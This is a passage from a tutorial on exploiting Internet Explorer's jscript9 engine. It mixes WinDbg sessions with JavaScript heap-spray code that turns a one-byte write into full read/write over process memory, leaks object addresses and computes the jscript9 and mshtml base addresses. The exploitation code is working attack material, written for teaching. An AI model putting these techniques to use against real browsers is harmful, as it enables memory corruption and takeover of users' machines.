Very interesting! A LargeHeapBlock is created by LargeAlloc (called by AllocZero) when the first item of a JavascriptArray is assigned to. Let’s return from AddLargeHeapBlock by pressing Shift+F11 and look at the memory pointed to by EAX:
So, EAX points to the LargeHeapBlock just created. Let’s see if this block was allocated directly on the heap:
0:007> !heap -p -a @eax
address 25fcbe80 found in
_HEAP @ 300000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
25fcbe78 000c 0000 [00] 25fcbe80 00054 - (busy)
jscript9!LargeHeapBlock::`vftable'
Yes, it was! It’s size is 0x54 bytes and is preceded by an allocation header of 8 bytes (UserPtr – HEAP_ENTRY == 8). That’s all we need to know.
We can put a breakpoint right after the call to AddLargeHeapBlock:
bp jscript9!Recycler::LargeAlloc+0x66 ".printf \"new LargeHeapBlock: addr = 0x%p\\n\",eax;g"
We should have a look at a LargeHeapBlock. First, let’s change the javascript code a bit so that fewer LargeHeapBlock are created:
<html>
<head>
<script language="javascript">
alert("Start");
var a = new Array();
for (var i = 0; i < 0x100; ++i) { // <------ just 0x100
a[i] = new Array(0x1000/4);
a[i][0] = 0x7fffffff;
a[i][1] = -2;
a[i][2] = 1.2345;
a[i][3] = document.createElement("div");
}
alert("Done");
</script>
</head>
<body>
</body>
</html>
Set the breakpoint we just saw:
bp jscript9!Recycler::LargeAlloc+0x66 ".printf \"new LargeHeapBlock: addr = 0x%p\\n\",eax;g"
Now reload the page in IE and close the first dialog box.
Your output should look similar to this:
new LargeHeapBlock: addr = 0x042a7368
new LargeHeapBlock: addr = 0x042a73c8
new LargeHeapBlock: addr = 0x042a7428
new LargeHeapBlock: addr = 0x042a7488
new LargeHeapBlock: addr = 0x042a74e8
new LargeHeapBlock: addr = 0x042a7548
new LargeHeapBlock: addr = 0x042a75a8
new LargeHeapBlock: addr = 0x042a7608
new LargeHeapBlock: addr = 0x042a7668
new LargeHeapBlock: addr = 0x042a76c8
new LargeHeapBlock: addr = 0x042a7728
new LargeHeapBlock: addr = 0x042a7788
new LargeHeapBlock: addr = 0x042a77e8
new LargeHeapBlock: addr = 0x042a7848
new LargeHeapBlock: addr = 0x042a78a8
new LargeHeapBlock: addr = 0x042a7908
new LargeHeapBlock: addr = 0x042a7968
new LargeHeapBlock: addr = 0x042a79c8
new LargeHeapBlock: addr = 0x042a7a28
new LargeHeapBlock: addr = 0x042a7a88
new LargeHeapBlock: addr = 0x042a7ae8
new LargeHeapBlock: addr = 0x042a7b48
new LargeHeapBlock: addr = 0x042a7ba8
new LargeHeapBlock: addr = 0x042a7c08
new LargeHeapBlock: addr = 0x042a7c68
new LargeHeapBlock: addr = 0x042a7cc8
new LargeHeapBlock: addr = 0x042a7d28
new LargeHeapBlock: addr = 0x042a7d88
new LargeHeapBlock: addr = 0x042a7de8
new LargeHeapBlock: addr = 0x042a7e48
new LargeHeapBlock: addr = 0x042a7ea8
new LargeHeapBlock: addr = 0x042a7f08
new LargeHeapBlock: addr = 0x042a7f68
new LargeHeapBlock: addr = 0x042a7fc8
new LargeHeapBlock: addr = 0x042a8028
new LargeHeapBlock: addr = 0x042a8088
new LargeHeapBlock: addr = 0x042a80e8
new LargeHeapBlock: addr = 0x134a9020
new LargeHeapBlock: addr = 0x134a9080
new LargeHeapBlock: addr = 0x134a90e0
new LargeHeapBlock: addr = 0x134a9140
new LargeHeapBlock: addr = 0x134a91a0
new LargeHeapBlock: addr = 0x134a9200
new LargeHeapBlock: addr = 0x134a9260
new LargeHeapBlock: addr = 0x134a92c0
new LargeHeapBlock: addr = 0x134a9320
new LargeHeapBlock: addr = 0x134a9380
new LargeHeapBlock: addr = 0x134a93e0
new LargeHeapBlock: addr = 0x134a9440
new LargeHeapBlock: addr = 0x134a94a0
new LargeHeapBlock: addr = 0x134a9500
new LargeHeapBlock: addr = 0x134a9560
new LargeHeapBlock: addr = 0x134a95c0
new LargeHeapBlock: addr = 0x134a9620
new LargeHeapBlock: addr = 0x134a9680
new LargeHeapBlock: addr = 0x134a96e0
new LargeHeapBlock: addr = 0x134a9740
new LargeHeapBlock: addr = 0x134a97a0
new LargeHeapBlock: addr = 0x134a9800
new LargeHeapBlock: addr = 0x134a9860
new LargeHeapBlock: addr = 0x134a98c0
new LargeHeapBlock: addr = 0x134a9920
new LargeHeapBlock: addr = 0x134a9980
new LargeHeapBlock: addr = 0x134a99e0
new LargeHeapBlock: addr = 0x134a9a40
new LargeHeapBlock: addr = 0x134a9aa0
new LargeHeapBlock: addr = 0x134a9b00
new LargeHeapBlock: addr = 0x134a9b60
new LargeHeapBlock: addr = 0x134a9bc0
new LargeHeapBlock: addr = 0x134a9c20
new LargeHeapBlock: addr = 0x134a9c80
new LargeHeapBlock: addr = 0x134a9ce0
new LargeHeapBlock: addr = 0x134a9d40
new LargeHeapBlock: addr = 0x134a9da0
new LargeHeapBlock: addr = 0x134a9e00
new LargeHeapBlock: addr = 0x134a9e60
new LargeHeapBlock: addr = 0x134a9ec0
new LargeHeapBlock: addr = 0x134a9f20
new LargeHeapBlock: addr = 0x134a9f80
new LargeHeapBlock: addr = 0x1380e060
new LargeHeapBlock: addr = 0x1380e0c0
new LargeHeapBlock: addr = 0x1380e120
new LargeHeapBlock: addr = 0x1380e180
new LargeHeapBlock: addr = 0x1380e1e0
new LargeHeapBlock: addr = 0x1380e240
new LargeHeapBlock: addr = 0x1380e2a0
new LargeHeapBlock: addr = 0x1380e300
new LargeHeapBlock: addr = 0x1380e360
new LargeHeapBlock: addr = 0x1380e3c0
new LargeHeapBlock: addr = 0x1380e420
new LargeHeapBlock: addr = 0x1380e480
new LargeHeapBlock: addr = 0x1380e4e0
new LargeHeapBlock: addr = 0x1380e540
new LargeHeapBlock: addr = 0x1380e5a0
new LargeHeapBlock: addr = 0x1380e600
new LargeHeapBlock: addr = 0x1380e660
new LargeHeapBlock: addr = 0x1380e6c0
new LargeHeapBlock: addr = 0x1380e720
new LargeHeapBlock: addr = 0x1380e780
new LargeHeapBlock: addr = 0x1380e7e0
new LargeHeapBlock: addr = 0x1380e840
new LargeHeapBlock: addr = 0x1380e8a0
new LargeHeapBlock: addr = 0x1380e900
new LargeHeapBlock: addr = 0x1380e960
new LargeHeapBlock: addr = 0x1380e9c0
new LargeHeapBlock: addr = 0x1380ea20
new LargeHeapBlock: addr = 0x1380ea80
new LargeHeapBlock: addr = 0x1380eae0
new LargeHeapBlock: addr = 0x1380eb40
new LargeHeapBlock: addr = 0x1380eba0
new LargeHeapBlock: addr = 0x1380ec00
new LargeHeapBlock: addr = 0x1380ec60
new LargeHeapBlock: addr = 0x1380ecc0
new LargeHeapBlock: addr = 0x1380ed20
new LargeHeapBlock: addr = 0x1380ed80
new LargeHeapBlock: addr = 0x1380ede0
new LargeHeapBlock: addr = 0x1380ee40
new LargeHeapBlock: addr = 0x1380eea0
new LargeHeapBlock: addr = 0x1380ef00
new LargeHeapBlock: addr = 0x1380ef60
new LargeHeapBlock: addr = 0x1380efc0
new LargeHeapBlock: addr = 0x16ccb020
new LargeHeapBlock: addr = 0x16ccb080
new LargeHeapBlock: addr = 0x16ccb0e0
new LargeHeapBlock: addr = 0x16ccb140
new LargeHeapBlock: addr = 0x16ccb1a0
new LargeHeapBlock: addr = 0x16ccb200
new LargeHeapBlock: addr = 0x16ccb260
new LargeHeapBlock: addr = 0x16ccb2c0
new LargeHeapBlock: addr = 0x16ccb320
new LargeHeapBlock: addr = 0x16ccb380
new LargeHeapBlock: addr = 0x16ccb3e0
new LargeHeapBlock: addr = 0x16ccb440
new LargeHeapBlock: addr = 0x16ccb4a0
new LargeHeapBlock: addr = 0x16ccb500
new LargeHeapBlock: addr = 0x16ccb560
new LargeHeapBlock: addr = 0x16ccb5c0
new LargeHeapBlock: addr = 0x16ccb620
new LargeHeapBlock: addr = 0x16ccb680
new LargeHeapBlock: addr = 0x16ccb6e0
new LargeHeapBlock: addr = 0x16ccb740
new LargeHeapBlock: addr = 0x16ccb7a0
new LargeHeapBlock: addr = 0x16ccb800
new LargeHeapBlock: addr = 0x16ccb860
new LargeHeapBlock: addr = 0x16ccb8c0
new LargeHeapBlock: addr = 0x16ccb920
new LargeHeapBlock: addr = 0x16ccb980
new LargeHeapBlock: addr = 0x16ccb9e0
new LargeHeapBlock: addr = 0x16ccba40
new LargeHeapBlock: addr = 0x16ccbaa0
new LargeHeapBlock: addr = 0x16ccbb00
new LargeHeapBlock: addr = 0x16ccbb60
new LargeHeapBlock: addr = 0x16ccbbc0
new LargeHeapBlock: addr = 0x16ccbc20
new LargeHeapBlock: addr = 0x16ccbc80
new LargeHeapBlock: addr = 0x16ccbce0
new LargeHeapBlock: addr = 0x16ccbd40
new LargeHeapBlock: addr = 0x16ccbda0
new LargeHeapBlock: addr = 0x16ccbe00
new LargeHeapBlock: addr = 0x16ccbe60
new LargeHeapBlock: addr = 0x16ccbec0
new LargeHeapBlock: addr = 0x16ccbf20
new LargeHeapBlock: addr = 0x16ccbf80
new LargeHeapBlock: addr = 0x16ccc020
new LargeHeapBlock: addr = 0x16ccc080
new LargeHeapBlock: addr = 0x16ccc0e0
new LargeHeapBlock: addr = 0x16ccc140
new LargeHeapBlock: addr = 0x16ccc1a0
new LargeHeapBlock: addr = 0x16ccc200
new LargeHeapBlock: addr = 0x16ccc260
new LargeHeapBlock: addr = 0x16ccc2c0
new LargeHeapBlock: addr = 0x16ccc320
new LargeHeapBlock: addr = 0x16ccc380
new LargeHeapBlock: addr = 0x16ccc3e0
new LargeHeapBlock: addr = 0x16ccc440
new LargeHeapBlock: addr = 0x16ccc4a0
new LargeHeapBlock: addr = 0x16ccc500
new LargeHeapBlock: addr = 0x16ccc560
new LargeHeapBlock: addr = 0x16ccc5c0
new LargeHeapBlock: addr = 0x16ccc620
new LargeHeapBlock: addr = 0x16ccc680
new LargeHeapBlock: addr = 0x16ccc6e0
new LargeHeapBlock: addr = 0x16ccc740
new LargeHeapBlock: addr = 0x16ccc7a0
new LargeHeapBlock: addr = 0x16ccc800
new LargeHeapBlock: addr = 0x16ccc860
new LargeHeapBlock: addr = 0x16ccc8c0
new LargeHeapBlock: addr = 0x16ccc920
new LargeHeapBlock: addr = 0x16ccc980
new LargeHeapBlock: addr = 0x16ccc9e0
new LargeHeapBlock: addr = 0x16ccca40
new LargeHeapBlock: addr = 0x16cccaa0
new LargeHeapBlock: addr = 0x16cccb00
new LargeHeapBlock: addr = 0x16cccb60
new LargeHeapBlock: addr = 0x16cccbc0
new LargeHeapBlock: addr = 0x16cccc20
new LargeHeapBlock: addr = 0x16cccc80
new LargeHeapBlock: addr = 0x16cccce0
new LargeHeapBlock: addr = 0x16cccd40
new LargeHeapBlock: addr = 0x16cccda0
new LargeHeapBlock: addr = 0x16ccce00
new LargeHeapBlock: addr = 0x16ccce60
new LargeHeapBlock: addr = 0x16cccec0
new LargeHeapBlock: addr = 0x16cccf20
new LargeHeapBlock: addr = 0x16cccf80
new LargeHeapBlock: addr = 0x1364e060
new LargeHeapBlock: addr = 0x1364e0c0
new LargeHeapBlock: addr = 0x1364e120
new LargeHeapBlock: addr = 0x1364e180
new LargeHeapBlock: addr = 0x1364e1e0
new LargeHeapBlock: addr = 0x1364e240
new LargeHeapBlock: addr = 0x1364e2a0
new LargeHeapBlock: addr = 0x1364e300
new LargeHeapBlock: addr = 0x1364e360
new LargeHeapBlock: addr = 0x1364e3c0
new LargeHeapBlock: addr = 0x1364e420
new LargeHeapBlock: addr = 0x1364e480
new LargeHeapBlock: addr = 0x1364e4e0
new LargeHeapBlock: addr = 0x1364e540
new LargeHeapBlock: addr = 0x1364e5a0
new LargeHeapBlock: addr = 0x1364e600
new LargeHeapBlock: addr = 0x1364e660
new LargeHeapBlock: addr = 0x1364e6c0
new LargeHeapBlock: addr = 0x1364e720
new LargeHeapBlock: addr = 0x1364e780
new LargeHeapBlock: addr = 0x1364e7e0
new LargeHeapBlock: addr = 0x1364e840
new LargeHeapBlock: addr = 0x1364e8a0
new LargeHeapBlock: addr = 0x1364e900
new LargeHeapBlock: addr = 0x1364e960
new LargeHeapBlock: addr = 0x1364e9c0
new LargeHeapBlock: addr = 0x1364ea20
new LargeHeapBlock: addr = 0x1364ea80
new LargeHeapBlock: addr = 0x1364eae0
new LargeHeapBlock: addr = 0x1364eb40
new LargeHeapBlock: addr = 0x1364eba0
new LargeHeapBlock: addr = 0x1364ec00
new LargeHeapBlock: addr = 0x1364ec60
new LargeHeapBlock: addr = 0x1364ecc0
new LargeHeapBlock: addr = 0x1364ed20
new LargeHeapBlock: addr = 0x1364ed80
new LargeHeapBlock: addr = 0x1364ede0
new LargeHeapBlock: addr = 0x1364ee40
new LargeHeapBlock: addr = 0x1364eea0
new LargeHeapBlock: addr = 0x1364ef00
new LargeHeapBlock: addr = 0x1364ef60
new LargeHeapBlock: addr = 0x1364efc0
new LargeHeapBlock: addr = 0x1364f060
new LargeHeapBlock: addr = 0x1364f0c0
new LargeHeapBlock: addr = 0x1364f120
new LargeHeapBlock: addr = 0x1364f180
new LargeHeapBlock: addr = 0x1364f1e0
new LargeHeapBlock: addr = 0x1364f240
new LargeHeapBlock: addr = 0x1364f2a0
new LargeHeapBlock: addr = 0x1364f300
new LargeHeapBlock: addr = 0x1364f360
new LargeHeapBlock: addr = 0x1364f3c0
Let’s look at the last 6 addresses:
new LargeHeapBlock: addr = 0x1364f1e0
new LargeHeapBlock: addr = 0x1364f240
new LargeHeapBlock: addr = 0x1364f2a0
new LargeHeapBlock: addr = 0x1364f300
new LargeHeapBlock: addr = 0x1364f360
new LargeHeapBlock: addr = 0x1364f3c0
First of all, note that they’re 0x60 bytes apart: 0x8 bytes for the allocation header and 0x58 bytes for the LargeHeapBlock object. Here are the last 6 LargeHeapBlocks in memory:
As we can see, each LargeHeapBlock contains, af offset 0x24, a pointer to the previous LargeHeapBlock. This pointer will be used later to determine the address of the LeageHeapBlock itself.
ArrayBuffer & Int32Array
Here’s what the MDN (Mozilla Developer Network) says about ArrayBuffer:
The ArrayBuffer object is used to represent a generic, fixed-length raw binary data buffer. You can not directly manipulate the contents of an ArrayBuffer; instead, you create one of the typed array objects or a DataView object which represents the buffer in a specific format, and use that to read and write the contents of the buffer.
Consider the following example:
// This creates an ArrayBuffer manually.
buf = new ArrayBuffer(400*1024*1024);
a = new Int32Array(buf);
// This creates an ArrayBuffer automatically.
a2 = new Int32Array(100*1024*1024);
The arrays a and a2 are equivalent and have the same length. When creating an ArrayBuffer directly we need to specify the size in bytes, whereas when creating an Int32Array we need to specify the length in number of elements (32-bit integers). Note that when we create an Int32Array, an ArrayBuffer is created internally and the Int32Array uses it.
To find out what code creates an ArrayBuffer, we can perform a heap spray like before. Let’s use the following javascript code:
<html>
<head>
<script language="javascript">
alert("Start");
var a = new Array();
for (var i = 0; i < 0x10000; ++i) {
a[i] = new Int32Array(0x1000/4);
for (var j = 0; j < a[i].length; ++j)
a[i][j] = 0x123;
}
alert("Done");
</script>
</head>
<body>
</body>
</html>
When the dialog box with the text Done pops up, we can look at the memory with VMMap. Here’s what we see:
Image may be NSFW. Clik here to view.
Note that this time it says Heap (Private D …, which means that the ArrayBuffers are allocated directly on the heap. If we look at the address f650000 in WinDbg, we see this:
This means that we could put a hardware breakpoint at the address 0f650058 (HEAP_ENTRY above) and break on the code which make the allocation on the heap. Reload the page in IE and set the breakpoint in WinDbg:
0:013> ba w4 f650058
After closing the dialog box in IE, we break here:
0:004> k 10
ChildEBP RetAddr
057db90c 77216e87 ntdll!RtlpSubSegmentInitialize+0x122
057db9a8 7720e0f2 ntdll!RtlpLowFragHeapAllocFromContext+0x882
057dba1c 75de9d45 ntdll!RtlAllocateHeap+0x206
057dba3c 6f7f4613 msvcrt!malloc+0x8d
057dba4c 6f643cfa jscript9!memset+0x3a4c2
057dba64 6f79fc00 jscript9!Js::JavascriptArrayBuffer::Create+0x3c <----------------
057dba90 6f79af10 jscript9!Js::TypedArrayBase::CreateNewInstance+0x1cf <----------------
057dbb08 6f5c7461 jscript9!Js::TypedArray<int>::NewInstance+0x55 <----------------
057dbca4 6f5a5cf5 jscript9!Js::InterpreterStackFrame::Process+0x4b47
057dbdd4 04a70fe9 jscript9!Js::InterpreterStackFrame::InterpreterThunk<1>+0x305
WARNING: Frame IP not in any known module. Following frames may be wrong.
057dbde0 6f5a1f60 0x4a70fe9
057dbe60 6f5a20ca jscript9!Js::JavascriptFunction::CallRootFunction+0x140
057dbe78 6f5a209f jscript9!Js::JavascriptFunction::CallRootFunction+0x19
057dbec0 6f5a2027 jscript9!ScriptSite::CallRootFunction+0x40
057dbee8 6f64df75 jscript9!ScriptSite::Execute+0x61
057dbf74 6f64db57 jscript9!ScriptEngine::ExecutePendingScripts+0x1e9
Perfect! We see that the ArrayBuffer is allocated with a C’s malloc, which is called inside jscript9!Js::JavascriptArrayBuffer::Create. TypedArray<int> is probably our Int32Array and TypedArrayBase is its base class. So, jscript9!Js::TypedArray<int>::NewInstance creates a new Int32Array and a new JavascriptArrayBuffer. Now we should have a look at an Int32Array in memory. We don’t need to spray the heap anymore, so let’s change the code:
<html>
<head>
<script language="javascript">
alert("Start");
a = new Int32Array(0x1000);
for (var j = 0; j < a.length; ++j)
a[j] = 0x123;
alert("Done");
</script>
</head>
<body>
</body>
</html>
Let’s put a breakpoint on the creation of a new Int32Array:
0:013> bp jscript9!Js::TypedArray<int>::NewInstance
Couldn't resolve error at 'jscript9!Js::TypedArray<int>::NewInstance'
The breakpoint expression "jscript9!Js::TypedArray<int>::NewInstance" evaluates to the inline function.
Please use bm command to set breakpoints instead of bp.
OK, it seems it worked. Now reload the page in IE. When we close the dialog box, we break on jscript9!Js::TypedArray<int>::NewInstance. Here’s the entire function:
We can see that the TypedArray<int> object is 24h bytes. Note that the object is first allocated and then initialized by the constructor.
To print a message when an Int32Array is created, we can put a breakpoint at the end of jscript9!Js::TypedArray<int>::NewInstance, right after the call to jscript9!Js::TypedArrayBase::CreateNewInstance (see the arrow):
As you can see, an ArrayBuffer is an object of 18h bytes which is allocated through jscript9!Recycler::AllocFinalized. It’s almost certain that ArrayBuffer contains a pointer to a block of memory which contains the user data. In fact, you can see that jscript9!_imp__malloc is passed to the constructor of ArrayBuffer and we already know that the raw buffer is indeed allocated with C’s malloc.
We can now put a breakpoint at then end of the function:
bp jscript9!Js::JavascriptArrayBuffer::Create+0x48 ".printf \"new JavascriptArrayBuffer: addr = 0x%p\\n\",eax;g"
As we said before, if we can modify a single byte at an arbitrary address, we can get read/write access to the entire process address space. The trick is to modify the length field of an array (or similar data structure) so that we can read and write beyond the end of the array in normal javascript code.
We need to perform two heap sprays:
LargeHeapBlocks and a raw buffer (associated with an ArrayBuffer) on the heap.
Arrays and Int32Arrays allocated on IE’s custom heap.
Here’s the relevant javascript code:
<html>
<head>
<script language="javascript">
(function() {
alert("Starting!");
//-----------------------------------------------------
// From one-byte-write to full process space read/write
//-----------------------------------------------------
a = new Array();
// 8-byte header | 0x58-byte LargeHeapBlock
// 8-byte header | 0x58-byte LargeHeapBlock
// 8-byte header | 0x58-byte LargeHeapBlock
// .
// .
// .
// 8-byte header | 0x58-byte LargeHeapBlock
// 8-byte header | 0x58-byte ArrayBuffer (buf)
// 8-byte header | 0x58-byte LargeHeapBlock
// .
// .
// .
for (i = 0; i < 0x200; ++i) {
a[i] = new Array(0x3c00);
if (i == 0x80)
buf = new ArrayBuffer(0x58); // must be exactly 0x58!
for (j = 0; j < a[i].length; ++j)
a[i][j] = 0x123;
}
// 0x0: ArrayDataHead
// 0x20: array[0] address
// 0x24: array[1] address
// ...
// 0xf000: Int32Array
// 0xf030: Int32Array
// ...
// 0xffc0: Int32Array
// 0xfff0: align data
for (; i < 0x200 + 0x400; ++i) {
a[i] = new Array(0x3bf8)
for (j = 0; j < 0x55; ++j)
a[i][j] = new Int32Array(buf)
}
// vftptr
// 0c0af000: 70583b60 031c98a0 00000000 00000003 00000004 00000000 20000016 08ce0020
// 0c0af020: 03133de0 array_len buf_addr
// jsArrayBuf
alert("Set byte at 0c0af01b to 0x20");
alert("All done!");
})();
</script>
</head>
<body>
</body>
</html>
The two heap sprays are illustrated in the following picture:
Image may be NSFW. Clik here to view.
There are a few important things to know. The goal of the first heap spray is to put a buffer (associated with an ArrayBuffer) between LargeHeapBlocks. LargeHeapBlocks and buffers are allocated on the same heap, so if they have the same size they’re likely to be put one against the other in memory. Since a LargeHeapBlock is 0x58 bytes, the buffer must also be 0x58 bytes.
The objects of the second heap spray are allocated on a custom heap. This means that even if we wanted to we couldn’t place, say, an Array adjacent to a LargeHeapBlock.
The Int32Arrays of the second heap spray reference the ArrayBufferbuf which is associated which the raw buffer allocated in the first heap spray. In the second heap spray we allocate 0x400 chunks of 0x10000 bytes. In fact, for each chunk we allocate:
an Array of length 0x3bf8 ==> 0x3bf8*4 bytes + 0x20 bytes for the header = 0xf000 bytes
0x55Int32Arrays for a total of 0x30*0x55 = 0xff0.
We saw that an Int32Array is 0x24 bytes, but it’s allocated in blocks of 0x30 bytes so its effective size is 0x30 bytes.
As we were saying, a chunk contains an Array and 0x55Int32Arrays for a total of 0xf000 + 0xff0 = 0xfff0 bytes. It turns out that Arrays are aligned in memory, so the missing 0x10 bytes are not used and each chunk is 0x10000 bytes.
The javascript code ends with
alert("Set byte at 0c0af01b to 0x20");
First of all, let’s have a look at the memory with VMMap:
Image may be NSFW. Clik here to view.
As you can see, 0xc0af01b is well inside our heap spray (the second one). Let’s have a look at the memory inside WinDbg. First, let’s look at the address 0xc0a0000 where we should find an Array:
for (; i < 0x200 + 0x400; ++i) {
a[i] = new Array(0x3bf8)
for (j = 0; j < 0x55; ++j)
a[i][j] = new Int32Array(buf)
}
Since in each chunk the 0x55Int32Arrays are allocated right after the Array and the first 0x55 elements of that Array point to the newly allocated Int32Arrays, one would expect that the first element of the Array would point to the first Int32Array allocated right after the Array, but that’s not what happens. The problem is that when the second heap spray starts the memory has a bit of fragmentation so the first Arrays and Int32Arrays are probably allocated in blocks which are partially occupied by other objects.
This isn’t a major problem, though. It just means that we need to be careful with our assumptions.
Now let’s look at address 0xc0af000. There, we should find the first Int32Array of the chunk:
Image may be NSFW. Clik here to view.
The Int32Array points to a raw buffer at 429af28, which is associated with the ArrayBufferbuf allocated on the regular heap together with the LargeHeapBlocks. Let’s have a look at it:
Image may be NSFW. Clik here to view.
This picture shows a disconcerting situation. First of all, the first two LargeHeapBlocks aren’t adjacent, which is a problem because the space between them is pretty random. Second, each LargeHeapBlock points to the next block, contrarily to what we saw before (where each block pointed to the previous one).
Image may be NSFW. Clik here to view.
We can conclude that the LargeHeapBlocks tend to point forwards. I suspect that the first time they pointed backwards because the LargeHeapBlocks were allocated in reverse order, i.e. going towards lower addresses.
We saw a few ways things may go wrong. How can we cope with that? I came up with the solution of reloading the page. We can perform some checks to make sure that everything is alright and, if it isn’t, we can reload the page this way:
We need to wrap the code into a function so that we can use return to stop executing the code. This is needed because reload() is not instantaneous and something might go wrong before the page is reloaded.
Look at the comments. The field array_len of the Int32Array at 0xc0af000 is initially 0x16. After we write 0x20 at 0xc0af01b, it becomes 0x20000016. If the raw buffer is at address 0x8ce0020, then we can use the Int32Array at 0xc0af000 to read and write throughout the address space [0x8ce0020, 0x8ce0020 + 0x20000016*4 – 4].
To read and write at a given address, we need to know the starting address of the raw buffer, i.e. 0x8ce0020 in the example. We know the address because we used WinDbg, but how can we determine it just with javascript?
We need to do two things:
Determine the Int32Array whose array_len we modified (i.e. the one at 0xc0af000).
Find buf_addr by exploiting the fact that LargeHeapBlocks point to the next blocks.
Here’s the code for the first step:
// Now let's find the Int32Array whose length we modified.
int32array = 0;
for (i = 0x200; i < 0x200 + 0x400; ++i) {
for (j = 0; j < 0x55; ++j) {
if (a[i][j].length != 0x58/4) {
int32array = a[i][j];
break;
}
}
if (int32array != 0)
break;
}
if (int32array == 0) {
alert("Can't find int32array!");
window.location.reload();
return;
}
You shouldn’t have problems understanding the code. Simply put, the modified Int32Array is the one with a length different from the original 0x58/4 = 0x16. Note that if we don’t find the Int32Array, we reload the page because something must have gone wrong.
Remember that the first element of the Array at 0xc0a0000 doesn’t necessarily points to the Int32Array at 0xc0af000, so we must check all the Int32Arrays.
It should be said that it’s not obvious that by modifying the array_len field of an Int32Array we can read/write beyond the end of the raw buffer. In fact, an Int32Array also points to an ArrayBuffer which contains the real length of the raw buffer. So, we’re just lucky that we don’t have to modify both lengths.
Now it’s time to tackle the second step:
// This is just an example.
// The buffer of int32array starts at 03c1f178 and is 0x58 bytes.
// The next LargeHeapBlock, preceded by 8 bytes of header, starts at 03c1f1d8.
// The value in parentheses, at 03c1f178+0x60+0x24, points to the following
// LargeHeapBlock.
//
// 03c1f178: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
// 03c1f198: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
// 03c1f1b8: 00000000 00000000 00000000 00000000 00000000 00000000 014829e8 8c000000
// 03c1f1d8: 70796e18 00000003 08100000 00000010 00000001 00000000 00000004 0810f020
// 03c1f1f8: 08110000(03c1f238)00000000 00000001 00000001 00000000 03c15b40 08100000
// 03c1f218: 00000000 00000000 00000000 00000004 00000001 00000000 01482994 8c000000
// 03c1f238: ...
// We check that the structure above is correct (we check the first LargeHeapBlocks).
// 70796e18 = jscript9!LargeHeapBlock::`vftable' = jscript9 + 0x6e18
var vftptr1 = int32array[0x60/4],
vftptr2 = int32array[0x60*2/4],
vftptr3 = int32array[0x60*3/4],
nextPtr1 = int32array[(0x60+0x24)/4],
nextPtr2 = int32array[(0x60*2+0x24)/4],
nextPtr3 = int32array[(0x60*3+0x24)/4];
if (vftptr1 & 0xffff != 0x6e18 || vftptr1 != vftptr2 || vftptr2 != vftptr3 ||
nextPtr2 - nextPtr1 != 0x60 || nextPtr3 - nextPtr2 != 0x60) {
alert("Error!");
window.location.reload();
return;
}
buf_addr = nextPtr1 - 0x60*2;
Remember that int32array is the modified Int32Array at 0xc0af000. We read the vftable pointers and the forward pointers of the first 3 LargeHeapBlocks. If everything is OK, the vftable pointers are of the form 0xXXXX6e18 and the forward pointers differ by 0x60, which is the size of a LargeHeapBlock plus the 8-byte allocation header. The next picture should help clarify things further:
Image may be NSFW. Clik here to view.
Now that buf_addr contains the starting address of the raw buffer, we can read and write everywhere in [buf_addr, buf_addr + 0x20000016*4]. To have access to the whole address space, we need to modify the Int32Array at 0xc0af000 again. Here’s how:
// Now we modify int32array again to gain full address space read/write access.
if (int32array[(0x0c0af000+0x1c - buf_addr)/4] != buf_addr) {
alert("Error!");
window.location.reload();
return;
}
int32array[(0x0c0af000+0x18 - buf_addr)/4] = 0x20000000; // new length
int32array[(0x0c0af000+0x1c - buf_addr)/4] = 0; // new buffer address
function read(address) {
var k = address & 3;
if (k == 0) {
// ####
return int32array[address/4];
}
else {
alert("to debug");
// .### #... or ..## ##.. or ...# ###.
return (int32array[(address-k)/4] >> k*8) |
(int32array[(address-k+4)/4] << (32 - k*8));
}
}
function write(address, value) {
var k = address & 3;
if (k == 0) {
// ####
int32array[address/4] = value;
}
else {
// .### #... or ..## ##.. or ...# ###.
alert("to debug");
var low = int32array[(address-k)/4];
var high = int32array[(address-k+4)/4];
var mask = (1 << k*8) - 1; // 0xff or 0xffff or 0xffffff
low = (low & mask) | (value << k*8);
high = (high & (0xffffffff - mask)) | (value >> (32 - k*8));
int32array[(address-k)/4] = low;
int32array[(address-k+4)/4] = high;
}
}
In the code above we set array_len to 0x20000000 and buf_addr to 0. Now we can read/write throughout [0, 20000000*4].
Note that the part of read() and write() that’s supposed to handle the case when address is not a multiple of 4 was never tested, because it wasn’t needed after all.
Leaking the address of an object
We need to be able to determine the address of an object in javascript. Here’s the code:
for (i = 0x200; i < 0x200 + 0x400; ++i)
a[i][0x3bf7] = 0;
// We write 3 in the last position of one of our arrays. IE encodes the number x
// as 2*x+1 so that it can tell addresses (dword aligned) and numbers apart.
// Either we use an odd number or a valid address otherwise IE will crash in the
// following for loop.
write(0x0c0af000-4, 3);
leakArray = 0;
for (i = 0x200; i < 0x200 + 0x400; ++i) {
if (a[i][0x3bf7] != 0) {
leakArray = a[i];
break;
}
}
if (leakArray == 0) {
alert("Can't find leakArray!");
window.location.reload();
return;
}
function get_addr(obj) {
leakArray[0x3bf7] = obj;
return read(0x0c0af000-4);
}
We want to find the Array at 0xc0a0000. We proceed like this:
We zero out the last element of every Array (a[0x3bf7] = 0).
We write 3 at 0xc0af000-4, i.e. we assign 3 to the last element of the Array at 0xc0a0000.
We find the Array whose last element is not zero, i.e. the Array at 0xc0a0000 and make leakArray point to it.
We define function get_addr() which:
takes a reference, obj, to an object
writes obj to the last element of leakArray
reads obj back by using read(), which reveals the real value of the pointer
The function get_addr is very important because lets us determine the real address in memory of the objects we create in javascript. Now we can determine the base address of jscript9.dll and mshtml.dll as follows:
// At 0c0af000 we can read the vfptr of an Int32Array:
// jscript9!Js::TypedArray<int>::`vftable' @ jscript9+3b60
jscript9 = read(0x0c0af000) - 0x3b60;
.
.
.
// Here's the beginning of the element div:
// +----- jscript9!Projection::ArrayObjectInstance::`vftable'
// v
// 70792248 0c012b40 00000000 00000003
// 73b38b9a 00000000 00574230 00000000
// ^
// +---- MSHTML!CBaseTypeOperations::CBaseFinalizer = mshtml + 0x58b9a
var addr = get_addr(document.createElement("div"));
mshtml = read(addr + 0x10) - 0x58b9a;
The code above is very simple. We know that at 0xc0af000 we have an Int32Array and that its first dword is the vftable pointer. Since the vftable of a TypedArray<int> is in the module jscript9.dll and is at a fixed RVA, we can easily compute the base address of jscript9 by subtracting the RVA of the vftable from its actual address.
Then we create a div element, leak its address and note that at offset 0x10 we can find a pointer to MSHTML!CBaseTypeOperations::CBaseFinalizer, which can be expressed as
mshtml + RVA = mshtml + 0x58b9a
